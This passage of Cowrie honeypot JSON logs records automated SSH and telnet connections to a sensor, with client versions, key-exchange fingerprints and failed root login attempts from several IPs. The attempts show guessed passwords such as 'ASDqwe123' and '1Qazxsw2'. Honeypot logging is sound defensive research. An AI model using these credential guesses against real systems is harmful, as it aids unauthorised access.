es128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:53.126859Z","src_ip":"150.109.247.111","session":"317034e5a7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:53.961717Z","src_ip":"150.109.247.111","session":"317034e5a7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:29:55.170608Z","src_ip":"150.109.247.111","session":"317034e5a7bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.59444236755371,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:16.573556Z","src_ip":"135.148.14.151","session":"0e7c3d3f9b42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78401756286621,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:17.665017Z","src_ip":"135.148.14.151","session":"7bb30808865f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.186.40.161","src_port":59640,"dst_ip":"10.17.0.5","dst_port":22,"session":"e649274aeda0","protocol":"ssh","message":"New connection: 201.186.40.161:59640 (10.17.0.5:22) [session: e649274aeda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:29.564687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:29.569997Z","src_ip":"201.186.40.161","session":"e649274aeda0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:29.730240Z","src_ip":"201.186.40.161","session":"e649274aeda0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDqwe123","message":"login attempt [root/ASDqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:30.397794Z","src_ip":"201.186.40.161","session":"e649274aeda0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:31.561374Z","src_ip":"201.186.40.161","session":"e649274aeda0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42970,"dst_ip":"159.203.135.109","dst_port":23,"session":"deb5a3314c6d","protocol":"telnet","message":"New connection: 135.148.14.151:42970 (159.203.135.109:23) [session: deb5a3314c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:32.469937Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":50786,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cec9666d2d1","protocol":"ssh","message":"New connection: 193.228.128.84:50786 (10.17.0.5:22) [session: 4cec9666d2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:37.653565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:37.658613Z","src_ip":"193.228.128.84","session":"4cec9666d2d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:37.763713Z","src_ip":"193.228.128.84","session":"4cec9666d2d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3usvjl6x1r","message":"login attempt [root/3usvjl6x1r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:38.093819Z","src_ip":"193.228.128.84","session":"4cec9666d2d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:39.200345Z","src_ip":"193.228.128.84","session":"4cec9666d2d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48356,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d4e768eb0a0","protocol":"telnet","message":"New connection: 135.148.14.151:48356 (159.203.135.109:23) [session: 9d4e768eb0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:43.455065Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":34948,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b248a722a4","protocol":"ssh","message":"New connection: 193.37.70.224:34948 (10.17.0.5:22) [session: 13b248a722a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:46.425208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:46.430672Z","src_ip":"193.37.70.224","session":"13b248a722a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:46.526654Z","src_ip":"193.37.70.224","session":"13b248a722a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jumpjet","message":"login attempt [root/jumpjet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:46.809805Z","src_ip":"193.37.70.224","session":"13b248a722a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:30:47.906855Z","src_ip":"193.37.70.224","session":"13b248a722a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.871173620224,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:06.340930Z","src_ip":"135.148.14.151","session":"deb5a3314c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32944,"dst_ip":"159.203.135.109","dst_port":23,"session":"c666d8af0064","protocol":"telnet","message":"New connection: 135.148.14.151:32944 (159.203.135.109:23) [session: c666d8af0064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:09.706075Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48838,"dst_ip":"10.17.0.5","dst_port":22,"session":"f126e2c86d83","protocol":"ssh","message":"New connection: 46.19.67.181:48838 (10.17.0.5:22) [session: f126e2c86d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:19.076026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:19.081523Z","src_ip":"46.19.67.181","session":"f126e2c86d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:19.195873Z","src_ip":"46.19.67.181","session":"f126e2c86d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.89706587791443,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:19.351990Z","src_ip":"135.148.14.151","session":"9d4e768eb0a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1337","message":"login attempt [root/qwerty1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:19.540076Z","src_ip":"46.19.67.181","session":"f126e2c86d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:20.657748Z","src_ip":"46.19.67.181","session":"f126e2c86d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":51760,"dst_ip":"10.17.0.5","dst_port":22,"session":"719bf0dcce4d","protocol":"ssh","message":"New connection: 176.32.39.21:51760 (10.17.0.5:22) [session: 719bf0dcce4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:22.218487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:22.223401Z","src_ip":"176.32.39.21","session":"719bf0dcce4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:22.345072Z","src_ip":"176.32.39.21","session":"719bf0dcce4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n123456789","message":"login attempt [root/n123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:22.713893Z","src_ip":"176.32.39.21","session":"719bf0dcce4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:23.837413Z","src_ip":"176.32.39.21","session":"719bf0dcce4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f3725a02ae","protocol":"telnet","message":"New connection: 135.148.14.151:38152 (159.203.135.109:23) [session: d0f3725a02ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:23.924786Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38284,"dst_ip":"159.203.135.109","dst_port":23,"session":"633ae5596a73","protocol":"telnet","message":"New connection: 135.148.14.151:38284 (159.203.135.109:23) [session: 633ae5596a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:24.164989Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39936,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d78b892564b","protocol":"telnet","message":"New connection: 135.148.14.151:39936 (159.203.135.109:23) [session: 4d78b892564b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:24.260448Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44136,"dst_ip":"159.203.135.109","dst_port":23,"session":"60c6f81ff431","protocol":"telnet","message":"New connection: 135.148.14.151:44136 (159.203.135.109:23) [session: 60c6f81ff431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:33.081625Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.247.111","src_port":41464,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ccf733c4ac9","protocol":"ssh","message":"New connection: 150.109.247.111:41464 (10.17.0.5:22) [session: 8ccf733c4ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:34.553404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:34.557617Z","src_ip":"150.109.247.111","session":"8ccf733c4ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:34.757884Z","src_ip":"150.109.247.111","session":"8ccf733c4ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Qazxsw2","message":"login attempt [root/1Qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:35.595838Z","src_ip":"150.109.247.111","session":"8ccf733c4ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:36.804935Z","src_ip":"150.109.247.111","session":"8ccf733c4ac9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45906,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf1db4c75d2","protocol":"telnet","message":"New connection: 135.148.14.151:45906 (159.203.135.109:23) [session: 3cf1db4c75d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:36.946698Z"}
{"eventid":"cowrie.session.connect","src_ip":"197.221.232.44","src_port":54630,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6e52fac7771","protocol":"ssh","message":"New connection: 197.221.232.44:54630 (159.203.135.109:22) [session: b6e52fac7771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:37.823520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:37.829234Z","src_ip":"197.221.232.44","session":"b6e52fac7771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T21:31:38.079012Z","src_ip":"197.221.232.44","session":"b6e52fac7771","protocol":"ssh"}
